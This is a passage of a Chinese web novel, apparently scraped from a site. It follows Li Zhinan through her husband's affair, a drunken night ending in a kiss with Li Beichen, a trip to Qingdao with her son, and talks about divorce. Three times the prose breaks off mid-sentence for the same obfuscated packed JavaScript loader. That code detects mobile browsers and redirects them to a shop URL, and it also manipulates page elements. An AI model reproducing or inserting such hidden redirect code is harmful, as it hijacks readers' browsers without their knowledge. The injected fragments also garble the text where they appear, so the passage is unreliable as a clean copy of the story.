“啊?”女孩愣了一下,但是意识到这是李知难的陷阱,反驳道:“那不一样。” 李知难:“怎么不一样?你想要在一起,你想要爱情,你现在都拥有,我没有阻止你们。我没阻止没干扰,你来找我有什么用呢?” 女孩没想到她会是这样的态度,她本来做好了一切准备,唯独没想到她会如此这般。“你不要绕圈子,你明知道我们现在是什么状况。我知道我没资格,但是我觉得我和宋乐值得一个长厢厮守的机会。”女孩道,“你也可以拥有寻找自己幸福的机会,为什么一定要三个人都陷在这个困局里面呢?” “你说得好像是我插足了你们一样。”李知难讽刺道。 “是我们先犯了错误,但是我今天来找你,就是想跟你商量一个解决问题的方法。”女孩声音切切。 “你没有跟我商量,你是在要求我。”李知难看着她,习惯性地教育道:“求人办事还讲究个态度礼数呢,求人离婚就这么理直气壮地来了?” “你想让我做什么,我都可以,只要能让我和他在一起,条件你提。”女孩道。 “你想他在一起,那你应该和他谈。”李知难冷下了脸,“你找我没用,我也不需要你做任何事情。” “你难道不想让我离开他吗?”女孩突然改了口。 她想,如果正着走不通,那反着来试试呢? 李知难无奈地摇了摇头,不想再同她继续纠缠,道:“那也是你的事,跟我没关系。” “你为什么能这么平静?”女孩气恼道,“你也不是局外人,你难道没有感觉吗?” 李知难回道:“感觉当然有,但是这种事我见多了。” 女孩皱眉看她,脸上浮现一丝慌乱:“你是说,宋乐……以前还有过别的女人?” “这倒没有。”她回,“我是在学校里看多了。看多了之后,我有一个自己总结的不成熟的理论。爱情呢,就喜欢逆着来。如果顺风顺水,你会觉得毫无新意,食之无味。需要有一个外力,拆散你们的外力,可以来自父母、学校、社会,或者,道德。一旦这个外力形成,你们之间的感情就无坚不摧了,因为你们成了一个整体。但是好笑的是,这个外力要是没了,你们这个整体也会散架,你们有气没地儿使,于是倒戈相向,自相残杀。高中生早恋时,老师、家长和高考都成了这个外力,可一旦到了大学,孩子们谈两天自己就分手了,甚至出了社会后,感情在现实面前简直不堪一击。所以在我心里,你和宋乐,和我们班早恋的孩子们没什么区别。” 女孩脸上一阵白。 “不过,”李知难又道,“离不离婚是我和宋乐的事。这件事里,我和他,他和你都有得可谈,唯独你我之间,没有。” 李知难起身,犹豫着嘴边的话要不要说,但终于还是没忍住,道:“你的行为虽然不道德,但以浪漫至死的角度来看,争取爱情也不能说是错,可你一个人来争,终究不是那么回事。” 她才走出咖啡馆,视线就和对面温柔的眼神撞到了一块儿。 李北辰在等她。 大堂一层的玻璃窗映着西沉的阳光,建筑物的实心结构将光线切割成一个个四边形的碎片,散落一地。在一地破碎的尽头,他笔直地站在那里。瘦削高挑,清逸俊秀,能将周围一切都虚化做他的衬托。 她缓缓地向他走去,嘴角不自觉地上扬。 “夏天快乐。”她开口道,莫名又切意地说了这句话。她几乎说了一整个夏天,又似乎是第一次说出的,这句话。 “还好吗?”他轻声问。 “挺好的。”她轻松答。 “请你吃饭?”他问。 李知难手机震动了几下,她突然想起来和奚西的约定,答道:“我差点忘了,奚西约我去喝酒。”她连忙掏出手机,上面已经发过来清晰的酒馆定位,她抬眼看了看李北辰,带着丝犹豫:“要……一起吗?” “好啊。”他想也没想便答。 奚西选的庆祝地点在东四,一家日式小酒馆,门口排着比店铺面积还要大的队伍。二人到达时,奚西已经干掉了半瓶清酒。 “师哥来了?”她对中途加入的李北辰并不意外,熟络地打着招呼。 “你怎么自己喝上了?”李知难坐到了她身侧,李北辰自动坐到了李知难的对面。 “馋了。”奚西笑得像是只小猫,馋腥被抓一般,“曲老师呢?” 李知难意识到自己完全把她忘了,敷衍道:“她说她没空。” 奚西撇嘴:“谈恋爱的人就是不一样啊,周五晚上怎么可能会有心情喝酒呢?”她又看了看二人,担心道:“你们会喝酒的,吧?” 李知难笑着将清酒瓶拿过来,给自己倒了一杯,她抬了抬眼,见李北辰摇头,便将酒瓶放到了自己和奚西中间,道:“不醉不归。” 李北辰担心道:“奚西,有什么事吗?” 奚西微醺着晃了晃手指,“今天不聊天,话都放在酒里。” 也许是藏在心里的话太多了,她二人这样一杯一杯地喝下去,时至午夜,桌上的酒瓶已经零零总总夹在菜码中间,一桌子满满当当。 “要不要……少喝点?”原本在旁安心吃菜的李北辰看着二人的状态,忍不住出声劝道。 奚西抬头看李北辰,脸颊微红:“师哥,你帮我一个忙吧。” “好。” “你叫陈亦童过来。”她像是只生气的小猫,纵然语气厉害可仍掩不住可爱。 李北辰摇头道:“你喝多了,别喝了。” 李知难测头看着他俩,酒精熏着大脑,有些话就不听使唤地直接从嘴里说了出来:“你们俩……什么关系啊?” 奚西以为她在说自己和陈亦童,“冤家!他就是个王八蛋。” 李知难眼睛瞪大,舌头有些打结:“李北辰,你怎么奚西了?” 李北辰无奈地揉了揉眉毛,道:“她说的人不是我。” 李知难转头看向奚西:“说,有什么不满的,都告诉姐姐,我给你做主!” 奚西夸张地趴在李知难身上,委屈道:“他欺负我,他让我哭,他让我难过,他是混蛋。” 李知难一边搂着奚西,一边指责地望向李北辰:“你怎么能这样!” 李北辰满头黑线:“……” “哦吼!”李知难喝道,“别想狡辩,我都看到了,你在楼梯间里弄哭奚西,还敢不承认。” 李北辰有些意外,他本想解释,又觉得时机实在不合适,便道:“李老师,你喝点水好不好?” 他伸手叫服务员送些热水过来。水有些烫,他换了两个新杯子,来回凉着,折腾半天水温总算是合适了些,他怕李知难拿不稳,只倒了半杯递过去,剩下的那些就顺势放到了奚西面前。 此时,酒馆门口传来清脆的铃响,门开,带进一股夏日独有的暖风,陈亦童西装革履地走了进来。 “什么情况?”李北辰的水杯还没放稳,陈亦童已经气势汹汹地盘问上了。 李北辰给了他一记明知故问的眼神。两个女人醉醺醺的,桌子上一堆空酒瓶,这还能是什么情况? “奚西?”陈亦童上前,轻轻拍了拍她的肩膀。 奚西皱眉看着他,回道:“陈亦童?谁让你来的?” 陈亦童表情不悦:“你。” “我什么时候让你来了?”她翻脸不承认。 陈亦童把手机递了过去:“自己看信息谁发的?” 酒后的奚西自尊心和防备意识都直线下降,她眼睛睁得大大的,像是个无辜的小女孩:“我叫你来你就来啊?那我叫你去死你会去死吗?” 温柔甜美的声线,说着让人咬牙切齿的醉言。 李知难在旁点评道:“陈副总,轻点咬,牙一会儿碎了。” 李北辰在一旁看着,原本对陈亦童的警惕随着奚西一次又一次地耍赖才算降低了些。 “走吧,我送你回家。”陈亦童说罢便将奚西搀扶起来,没成想却被李北辰拉住了胳膊。 “你带她去哪儿?”李北辰问。 “跟你有什么关系?”若不是周围环境不允许,光是刚才李北辰倒水献殷勤的样子,就已经惹得他想动手打人了。 “她一个女生,跟你走不安全。”李北辰道。 陈亦童脸上满是嘲讽:“跟我走不安全,跟你一起喝酒就安全了?” 李北辰耐心解释道:“我和她不是单独喝酒,李老师也在。” 陈亦童扫了一眼另一个醉醺醺的女人,答:“你以为找一个已婚的女人当挡箭牌,就可以名正言顺了?” “你说话注意一点。”李北辰的脸突然冷了下来。 “那你要做事也注意一点才行。”陈亦童丝毫不退让。 “她不能和你单独走。”李北辰攥紧了他的胳膊,态度坚决。 陈亦童眼中戾气再起,道:“那你想怎么样?” “我们和你一起走。”李北辰拿起了衣服,欲上前去扶另一端的李知难。 奚西此时如还魂一般,八爪鱼似的搂住了陈亦童:“我要跟他走。” 李北辰眉头皱成一团,冷声道:“我没有让你选。” 奚西仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497508|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧搂着陈亦童不肯松手,脸上气鼓鼓的:“师哥,我今天晚上要跟他走,谁也别想拦住我。” 李北辰才想开口,却突然发现,自己的手被李知难拉住了。也许是血液内酒精含量过高,她的手烫烫的,轻轻柔柔地盖在他的皮肤之上,像计符咒,让他整个人都动弹不得。 “走吧,让他们走吧。”李知难道。 “……” “女大不中留,没事的,让他们走吧。”李知难几分醉意在脸上,胡乱在空中摆了摆手。 陈亦童趁机拨开了李北辰的手,带着奚西离开了酒馆。 待他结账回来时,李知难几乎坐不稳,瘫在了酒桌上。他小心地搀扶着李知难上车,李知难看着眼前的豪车,不由恨铁不成钢地骂道:“李北辰,不是我说你,你真的不能再开老吴的车了,怎么小小年纪就这么虚荣呢?” 李北辰仔细着她的额头,将手垫在她头顶处,才将她整个人放进车里,看着眼前离自己咫尺的女人,轻声回道:“我年纪不小了。” “怎么翅膀硬了老师说话还不听了是不是!”李知难指着他鼻子喊。 李北辰将她的包和自己的外套整齐地放到后车座,又坐回主驾驶位置。 他将袖子折了几折,袖口随意地搭在胳膊上,露出半只线条匀称的手臂,末梢处修长的手指轻轻握着方向盘。另一只手此时正松着领口,手指弯成几道折线,映着脖颈间因为用力而凸显出的筋络,看起来让人忍不住心跳加速。 李知难咽了下口水。 李北辰余光瞥见,从中控杯托处拿了瓶矿泉水。 李知难看着他的体面周全,下意识联想起他方才对奚西的关照,心里突然乱七八糟地缠绕,便故意道:“你说你,到底是对奚西有意思,还是跟文诗有点什么?我怎么越来越看不透了呢?” 李北辰帮她拧开盖子,将水放到她手上:“我和她们都没什么。奚西从别处听说我父亲的事,本来想要安慰我,结果自己哭起来了。陈亦童刚好来找我,她不想被他看到,就躲去了楼梯间。” 李知难听着他的解释,没再应声。她喝了口水,仰头贴在了车座上,酒精的后劲儿袭来,她胸腔灼烧一般难过,皱巴着整张脸。 “还好吗?”李北辰试探问道。 “特别好。”她言不由衷答。 “不要说瞎话。”他像是在教育她,可口气中满是无奈。 “这点酒还喝不倒我的。”李知难被这奇怪的一句戳到了心窝,这是她常说的话,现下被用来关心她,竟然是这样的感觉。 只听李北辰小声补充道:“我是说,那个女孩来找你,你还好吗?” 李知难转过头,眼中暗流涌动。半晌,她缓缓道:“你连她都知道?” “想知道的事,总会有办法知道。”他答。 李知难深吸了一口气,酒精仍旧发挥着作用,如同方才的奚西一样,她现在也没气力去捡起那一地的自尊心来裹住自己,她自嘲一般答:“我很好啊,你看我哪不好了?” “我认真的。” “什么?”她装不懂。 “你真的不难过吗?”他再次重复了一遍,语气中渐渐没了那份无奈:“不要说瞎话。” “难过。”李知难直勾勾地看着他,似醉似醒地回道,“但是我总不能在她面前难过吧,难过也要分场合。” “你可以在我面前难过。” 李知难点了点头,道:“好,我承认,我是有些难过的,自尊心有些受打击,也有种自己的东西被别人抢走的不痛快。但是转念一想,我和她去比什么呢?她有她的人生,我有我的,我的自尊应该是我自己给我自己的,非要和小姑娘比青春,那不是自找苦吃吗?” “你比她好,”李北辰语气坚定,“什么都比她好。” 李知难举起了一个手指,回道:“我和她脸上的胶原蛋白含量,差着一位数呢。” “那也是你漂亮,你……最漂亮。” 李知难经常在皮皮嘴里听到这句话,起初,这句话的效果就像是咒语一般,但听久了,开始的高兴慢慢被稀释,这咒语的法力也日益减弱。甚至现在路过冰激淋店,她听到这话还会有些心悸。 可话从他嘴里说出来时,那魔法又显灵了。 “胡扯。”她听着自己越跳越快的心,感受着隐隐发烫的脸,只欲盖弥彰地算到酒精头上。 “那你能接受吗?”李北辰试探问道。 “不接受又怎么样?宋乐从来都不是我的东西,首先,他不是我的,其次,他也不是东西。”李知难答。 李北辰倒是很赞成后半句,“对,他不是东西。” 李知难被他逗笑了,她轻轻按下了车窗,夏日的晚风徐徐而来,酒意也被稀释了些。 李北辰车里放着舒缓的音乐,车内还弥漫着他身上的味道。 音乐和气氛很适配,都让人舒服得想闭上眼睛,但又在心里知晓这沁人心脾不过是霎时瞬间,实际远不可及。 “婚姻很复杂,不是三言两语能说清楚的。我确实有很多负面情绪,但也不是没有解法。我要是实在气不过,抬头不见低头见的,还找不着出气的法子吗?你不用担心我。”她似乎理智了些,但她脸上那丝痴痴的笑,又看起来并不清醒。 “我可以帮你。” “怎么帮我?”她斜眼瞥过去,有些好奇又似乎有些猜到他的主意。 李北辰眼睛明亮亮地看着她。 “你喝多了。”李知难道。 “没有,你喝多了,我并没喝酒。”他指了指自己的车钥匙。 “那作为清醒的旁观者,是不是觉得我们这些酒鬼挺荒唐的?” “不会。”李北辰看着她,“我有什么资格说别人荒唐?” 酒精在血液中流动,伴着突突的心脏跳动声。前面的车被车主摁下开关,发出滴滴的两声,黑暗的车内,路光的暖黄,车尾灯的红光夹杂着双闪灯的黄色,流光溢彩地勾勒出他的剪影。 他满脸希冀地看着她。那眼神让李知难想到之前看的欧洲老电影中,仰望天空的少年。 李知难仔细地看着那双眼睛,“有没有人跟你说过,你的眼睛长得很好看。” 李北辰笑了笑,道:“有人说,我的眼睛长得像是马,赛马场的赛马。” 李知难莫名觉得贴切。 李北辰又问:“那你知道赛马的下场是什么吗?” “嗯?” “一旦有一天,他不能跑了,等待着他的就只有死亡。所以他一定要奔跑,一直奔跑,不计任何代价地奔跑。” “不计任何代价吗?” “对。” “任何代价?” “对。任何代价。” 李知难忍不住伸出了手。手指渐渐靠近,距离他的脸只差毫厘,指尖的神经末梢在最后时刻不自主地弯了弯,对碰触的渴望和挣扎在指尖处拉扯,勇敢又胆怯。 李北辰低眸,看着那只近在咫尺的手,将自己的脸主动凑了过去。 32. 红烧肉 凌晨两点,李知难的酒意退去,她轻轻地打开门,只见客厅亮着一盏小灯。 宋乐坐在沙发上等着她,他的身体佝偻着,头发乱七八糟,脸上的表情亦是。“我们谈谈。”他开口道。 “有什么事明天再说吧,我有点困了。”她拒绝。 “李知难,”宋乐站了起来,语气带着对她回应的不可思议:“你说你困了?” 李知难换下了鞋,挂好包,道:“对,困了。” 宋乐自嘲一般道:“今天发生了这么大的事,你都不想跟我谈一谈吗?” 李知难没有答话,自顾自地收拾着。 “你早就知道了对吧?”宋乐在她身后道,“之前有人告诉过你,你那天也撞到了,你都装作不知情,但是今天她都找你楼下了,你还要装作什么事都没发生吗?” 李知难将头发盘起,卸了妆,洗着脸。 “李知难!”宋乐吼道,“我他妈的都觉得现在这个情况很好笑,你还要自欺欺人到什么时候?” 她挤了牙膏,认真地刷起了牙。 “我们离婚吧。”宋乐在门口失望地说道。 李知难嘴里含着牙膏沫,对这话的态度像是平日里他说“吃饭吧”、“上班了”一样,淡淡回道:“好,知道了。” “你早就想让我这么说了对吧!”宋乐控制不住自己的情绪,一拳狠狠地捶在了卫生间的玻璃上。 碎裂的声音和一地的玻璃,以及他手上沾满的鲜血,像极了当下他们狼狈的婚姻。 李知难漱了漱口,对这一切视若无睹一般绕着走过去,只道:“收拾干净,明天皮皮回来别扎到他。” “你去哪?”宋乐看着她的背影,心急道。 李知难答:“我很困了,今天去曲子格那里睡,有什么事明天再说吧。” 凌晨两点半,她翻着手机在曲子格和孙书维之间犹豫,最后还是试了试运气,拨通了孙书维的电话。 “喂。”孙书维很快接了电话。 “你没睡?”她的声音听起来颇为清醒,李知难意外问道。 “改报告呢,”孙书维道,“你什么情况?” “我今天能去你家住一宿吗?”李知难问。 “好。” 半个小时后,李知难才下车,就看到了早已经等在路边的孙书维。 “我……”她想解释。 孙书维挽住了她的胳膊:“先回家再说。” 孙书维家是一套板正的两居室,平日只有她自己住。房间整洁素雅,像极了她的性格。李知难换好鞋,坐在了客厅的沙发上。 孙书维边开冰箱边问道:“想喝什么?” 李知难答:“我喝了一晚上酒了,劲儿大的喝不下去了,你有没有劲儿小一点的?” “没有,我冰箱里不放那种垃圾,你喝点牛奶吧。”孙书维答。 半晌,孙书维等她喝完一杯牛奶,才问道:“好点了吗?” 李知难点头。 “出事了?” “嗯。” “宋乐?” “嗯。” “到什么地步了?” “他的小三下午来找我,他刚才跟我提了离婚。”三两句之间,两个人就把当下的情况说明白了。 孙书维又倒了一杯牛奶:“是不是觉得晚上那顿酒喝早了?” 李知难摇头:“那倒没有。” “没有?” “我喝完之后,干了件平常不敢干的事情。”李知难答。 她亲了一个一直想亲的人。 车内的气氛那么好,他皮肤的触感像是吸引着自己去尝试更多,她就那样毫无抵抗之力地吻上了他的嘴唇,像是欲求不满一般挑逗着他,在他的唇齿间不能自拔。 这些她自然不敢告诉孙书维,只说:“我……马路上撒酒疯来着。” 孙书维回道:“发泄情绪只是一时的,还是要解决问题才是根本。” 李知难看着她无奈地回:“我是有能力解决目前的情况的,但是今天的事情太多了,所以我有点处理不过来了。” “困吗?”她看着李知难疲惫的面色,温声询问。 “困。” “那先去睡觉吧,什么事都等明天再说。” “你呢?” “我改报告,你以为做行政老师是享清福吗?对了,洗漱的东西我已经给你准备好了,睡衣在床头,自己去换吧。”孙书维交代道。 在孙书维的客房床上,李知难又一次做了那个梦。 这一次,她仍旧和李北辰旖旎纠缠,但李北辰的身上突然流了很多血,她惊呼着从梦中醒来。 “以周公解梦的说法,这代表着你要赚大钱了,见血见财。”孙书维既科学又迷信地解释道,“梦里的奸夫是谁?” “别瞎说。” 孙书维看她状态恢复了大半,端起了胳膊抱在胸前,道:“我也让你吃好喝好睡好了,你现在也该好好给我说明情况了。” “从哪说起呢?”李知难打着马虎眼,塞了一口面包。 孙书维:“小三同志找你,说什么了?” 李知难答:“让我成全他们。” “你怎么说的?” “我暗戳戳地说了点不好听的话,但是最后还是体面人一个,让她找宋乐谈。”李知难道。 “所以她找宋乐谈完之后,宋乐决定离婚了?” “我不知道,”李知难道,“我昨天回家就很晚了,宋乐要跟我谈,可我很困,然后三两句不投机,他就把玻璃砸了,我就来找你了。” 孙书维倒是能猜到,所谓的话不投机多半是李知难的冷暴力搭配宋乐的暴力。“那离婚呢?” “砸玻璃之前说的离婚。” “我没搞懂,”孙书维道,“他是真想离婚,还是被你激的?” “我也不知道。” “那你怎么想?” “我顾虑挺多的,皮皮那边,我父母那边,都需要好好做工作。以后皮皮的抚养问题,也需要和他谈,我父母有些生活方面很依赖他,所以我也需要尽快把这边弄清楚。当然,工作上我也得打个报告,但是我现在也给你打预防针了。这几年老师离婚也不是什么新鲜事,应该对我之后影响不大。”李知难梳理着离婚的大小事项,一条条解释。 “很大。”孙书维回。 “为什么?” “没了宋乐那层关系,你以后上升的路径会难很多。”孙书维直白道。 李知难不屑道:“有他这层关系,我也没用过。大不了不升了呗。” “还有别的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502865|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙书维也觉得现在这件事并不是主要问题,继续问道。 “我刚才粗略想了想,大概就这些,开始肯定会有些麻烦,包括亲戚同事的闲话,但只要皮皮那边交代好,其他的对我也没什么杀伤力。所以,目前为止,我没有发现什么自己承受不住的事情。” 孙书维试探问道:“那他要是跟你抢皮皮怎么办?” “他不会的,”李知难答,“我结婚的时候就跟你说过,他是个好人。” “所以离起来很方便?”孙书维补充了她后半句话。 “你这么说显得我很功利似的,我原本是没有打算离的,也是奔着和他好好过的想法在一起的,但是他遇见了爱情啊,我能怎么办。”李知难像是在调侃别人的事情一般。 “你,装的还是真的?”孙书维觉得既然客观问题都已经解决,最后一项应该就是李知难的主观感受了。 李知难诚实道:“昨天是装的,但是今天是真的。” “为什么?” “因为我昨天遇到一个帅哥,”李知难坦诚道,“好像有点心动了。” 孙书维意外这话是从李知难嘴里说出的,诧异地看她。 “我可能早忘了爱一个人是什么感觉了,昨天那点心动让我突然反应过来,如果是爱上一个人的话,那心理波动应该远比我昨天的那点高千倍百倍,宋乐的脑子不可能管得住他的心的,他也是没办法的事。” “啥?”孙书维能够理清最难搞的规则和章法,偏偏对于这种主观的感受,完全无法共情。 “我肯定还是生气的,但其实也不过是因为他对我们之间合约的背叛,或者是因为这些背叛带了后续很多的麻烦。”李知难道,“可平心而论,他就像我的那盘红烧肉。” 几年前,孙书维的未婚夫路少鸿选择了在世界另一端的事业。临走之际,他曾经向她发出邀请,希望她能陪他一起去那边,成家立业。孙书维拒绝了,为了自己一个月五千块的小文职工作,拒绝了去繁华的资本社会做外交官的夫人。 孙书维说,路少鸿就像是桌子上的那盘红烧肉。起初色泽莹润,鲜香诱人,甜和咸混杂的味觉享受,是惊叹是满足,可要是没有其他的菜,日日只吃这一道,早晚也会变成一汪肥肉的油腻。菜本身没有问题,食客的口味也没有问题,只是不同时机下的合不合适而已。 “或者,从一开始我就不喜欢吃红烧肉,但是周围人都认为那是道硬菜,我就点了。现在凉了,倒了也正好。”李知难补充。 -------- 次日一早,李知难按照安排好的行程去奶奶家接皮皮。 皮皮苦着小脸抱怨道:“奶奶说以后不让我踢足球了。” “为什么?” “因为奶奶说,踢足球没有前途,还让我去什么咸咸班。”皮皮重复着从奶奶那里学来的词,道:“妈妈,大勇他们都去参加青岛的夏令营了,就我没去成。” 李知难意外道:“奶奶没给你报名吗?” “上次我发烧了,奶奶说以后都不去这种营了。”他垂头丧气道,“我上次跟你说过,你都忘了。” 李知难有些歉意地看着被自己忽略的儿子,突然提议道:“妈妈现在带你去吧?” “去哪?”皮皮不解。 “去青岛。” 33. 去相爱吧 李知难直接杀到了夏令营训练中心,给领队老师好好地求了一顿情,才算是把皮皮重新加回了训练名单中。青岛的夏天是烈日和海风,皮皮踢球的训练营离海边不远,她看着在烈日下一个个小黑煤球肆意地奔跑,似乎那些属于北京的乱七八糟也随之烟消云散了。 旁晚,皮皮结束训练,夏令营领队老师拿了一张宣传单递给她:“周末不训练,营地旁边有场音乐会,皮皮妈妈也一起来吧?” 皮皮替李知难回道:“我们一定去!对吧妈妈?” 李知难点了点头。 皮皮看着妈妈身上的衣服,又看了看老师,突然道:“妈妈,你为什么不穿裙子啊?” “我为什么要穿裙子?”李知难反问。 “因为……漂亮?” “你不是说妈妈怎么样都漂亮吗?” “妈妈,”皮皮道,“咱们去买裙子去吧?去吧去吧,去吧!” 李知难看着小小的男孩执着的时尚建议,无奈地点了点头。 李知难在皮皮的审美建议下,试穿了一条鲜艳的连衣裙,皮皮看完瞪大了眼睛道:“喔!好漂亮!动画片里的公主都穿这个!” 李知难一脸黑线,你也知道是动画片里了! 可最终,在皮皮主动提供压岁钱小金库来替她买单的压迫下,李知难还是买了那条鲜艳夺目的裙子。 “皮皮,为什么一定要让妈妈穿裙子啊?”皮皮睡觉前,李知难小声问道。 “他们说你没有伟伟妈妈漂亮,”皮皮闭着眼睛喃喃道,“才不是呢,你比所有的妈妈都漂亮。” 周六傍晚,海滩上支起了舞台,各种各样的音乐和灯光将夏日的宁静海滩转化成一片燥热,年轻人肆无忌惮地挥洒着汗水,释放自我。 “妈妈,好吵啊!”头一次参加音乐节的皮皮没想到原来成年人的放纵这么喧嚣。 “跳啊,皮皮!”李知难穿着他给自己选的裙子,拉着他的手使劲摇摆。 好在皮皮的朋友们很快凑了过来,五六个小男孩围城一个圈,推推搡搡蹦蹦跳跳地,享受着自己的快乐。 李知难和其他家长一样,在一旁喝着饮料当保安。 “美女,一个人吗?”她身侧出现一个穿着俗气的男人,夸张的印花衬衫和金色项链,搭配着完全没有必要的黑色墨镜。 李知难指了指那帮孩子,道:“和我儿子。” “我不介意。”男人试图将手中的酒杯递给她。 “我介意。”李知难嫌弃地躲到了一边,十分确定一定是皮皮选的这件倒霉裙子惹的祸。 “皮皮,去那边!”李知难拉着他,去看舞台上正在演出的乐队。乐队小有名气,也有几首家喻户晓的歌曲,乐队的前奏才响起,人群中便有好几个旗帜迎风飘扬了起来。 皮皮指着旁边的旗帜,好奇问道:“妈妈,那个旗子上写的是什么啊?” “去相爱吧。” “那边那个呢?”皮皮换了一个又问。 李知难回道:“我梦寐以求,是真爱和自由。” 皮皮不解:“妈妈,梦寐以求是什么意思?” “就是最要想的东西。皮皮最想要什么?” “踢足球。妈妈呢?” 李知难在吵杂的音乐中,发现自己第一次回答不上来儿子的问题。 她掏出手机,拍了一张旗帜上句子的照片,发给了曲子格。 -小格子,你梦寐以求的是什么? -真爱啊。 -那自由呢? -去他妈的自由。你呢? -我自由啦,小格子。 回北京的那天,孙书维开车去接他们母子两,皮皮已经累得在后座上睡着。李知难小声道:“帮我找找认识的律师吧。有备无患。” “你想好了?” “嗯。” “你知不知道,你这样就算是成全了那对不道德的……嗯,男女了。”孙书维考虑到皮皮,没将难听话说出口。 “人就活这一辈子,我在青岛看到了一个旗子,我觉得是上天降给我的福音。”李知难道。 “什么旗子?什么福音?” “去相爱吧,”李知难答道,“去他妈的道德。” 皮皮奶奶几近一周没见孩子,每次打电话询问,也不过是得到儿子的搪塞,这回她决定直接杀过来一探究竟。房子里乱七八糟,很久没人打扫的样子,宋乐看着餐桌那边的外卖盒,也不知怎么解释。 “李知难呢?”宋乐妈妈问道。 “她带皮皮去青岛了。”宋乐坦白回答。 皮皮奶奶不悦道:“不是让皮皮准备衔接班吗?怎么又去了?” “皮皮自己想踢足球。”宋乐解释。 “这是皮皮说了算吗?她一个当妈的,怎么一点也不为孩子着想?” 宋乐道:“皮皮的事,您就别管了。” 宋妈妈一听这话更加搓火,“你们两口子真有意思,忙工作的时候皮皮就是我的事,好,现在她放假了,皮皮就不是我的事了?我是你们的保姆啊?你们怎么说怎么是?我怎么也是教育局的,你爸那更是搞了一辈子教育的教育局领导,怎么我们这种身份,都不配给你们教教孩子了?” 宋乐知道自己刚才说话冲动了些,又安抚道:“妈,我知道您辛苦,您对皮皮劳苦功高,谁能说您半句不是呢?” 宋妈妈看着这一屋子的杂乱,手上也闲不住地收拾了起来,“你啊,不能什么活儿都指望媳妇干,知难在的时候她收拾,她现在陪皮皮去青岛了,你这家务活也不能油瓶倒不扶全等她回来再做啊?” 宋乐见状只能跟在屁股后面,道:“您别收拾了,一会儿我干。” “没了知难,我看你一天干净日子过不了。”她碎碎念道,“我也不是说知难的教育方法不好,她毕竟是在教学一线的。但是皮皮踢球,咱们之前都是当成个强身健体的爱好的,现在上小学,这重点小学,学生们都不简单的,我不也是希望他别一开头就被落下吗?” “对对对,知道您的苦心。” “不过知难跟着也好,”宋妈妈又道,“她在皮皮身边,比一百个老师都好用。这一点咱们必须得说,她这种职业,你都不知道你以后在孩子教育上会省多少心呢。” 宋乐听得不是滋味,道:“知道了。” 下午,李知难和皮皮回到了家里。才一开门,皮皮便兴奋地跑过去喊爸爸,又意外道:“爸爸今天你不用加班吗?” “今天不用。” “太好了!”皮皮兴奋的表情,李知难在旁心知肚明的表情,让宋乐心里不由生出内疚。所谓的“加班”,也有不少是给他出去约会做的幌子。 一家三口和和美美地吃了晚饭,饭后李知难刷碗,宋乐陪皮皮看动画片。 “我给妈妈买了一条特别美的裙子。”皮皮念叨道。 “我们还去看音乐会了!” “然后我射门比赛,得了第一名,跑步我也是第一,爸爸,我厉不厉害?” 李知难听着他那边的碎碎念,恨不能把这几天的事情都同步给他爸爸,心底不由地生了些难过。可她很快意识到,在这场闹剧中,这一刻她情绪的波动远高于之前的一切,看到那张照片,看到他们挽手、拥抱,甚至咖啡厅的交谈和卫生间的狼藉,加到一起都敌不过当下听着皮皮对爸爸唠叨不停的难过。 待皮皮睡了,两个人坐在沙发上,都知道这场对话在所难免。 “房子给你,车也在你名下,”宋乐道,“皮皮的抚养权可以给你,但是我需要探视权。皮皮的户口还在我家的户口本上,你是集体户口,如果麻烦的话,最好就别迁了,以后需要户口的事,我都会全力配合的。” 李知难点头:“我爸妈那边我自己去说,你爸妈那边你也自己去吧。至于皮皮,我希望我们能一起和他说,也不需要跟孩子说什么真相,就告诉他爸爸妈妈不再一起生活就可以了。按照之前的模式,平时我不忙的时候还是我带,如果忙起来,还要麻烦奶奶那边搭把手。” “这是应该的,”宋乐道,“我尽最大的努力保证皮皮的生活和以前一样,不受过多影响。” “好。” 看起来,似乎离婚并没有想象中那么复杂,李知难甚至觉得自己下午找孙书维要律师的联系方式,有些过于急躁了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505527|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宋乐突然开口道:“你其实从来没有爱过我,对吧?” 李知难:“宋乐,你现在说这个就有些可笑了。” “不管你信不信,我没想过离婚,是你的态度,逼得我们走到了这一步。”宋乐道,“你这种态度也不是一年两年了,我本来以为我能习惯,能凑合一辈子,直到我遇到小柳,我才知道原来女人爱你的时候,是不会事事都客观理智的,她会不懂事,会闹小脾气,会和你撒娇耍赖,我知道我可能开始只是有点贪心这些自己没有享受过的感觉。但是我一直很清楚,你是我的妻子,我孩子的妈妈,我会对你负一辈子的责任的。” 宋乐看着她,道:“哪怕是现在,只要你李知难说不同意离婚,我就不会离婚。” 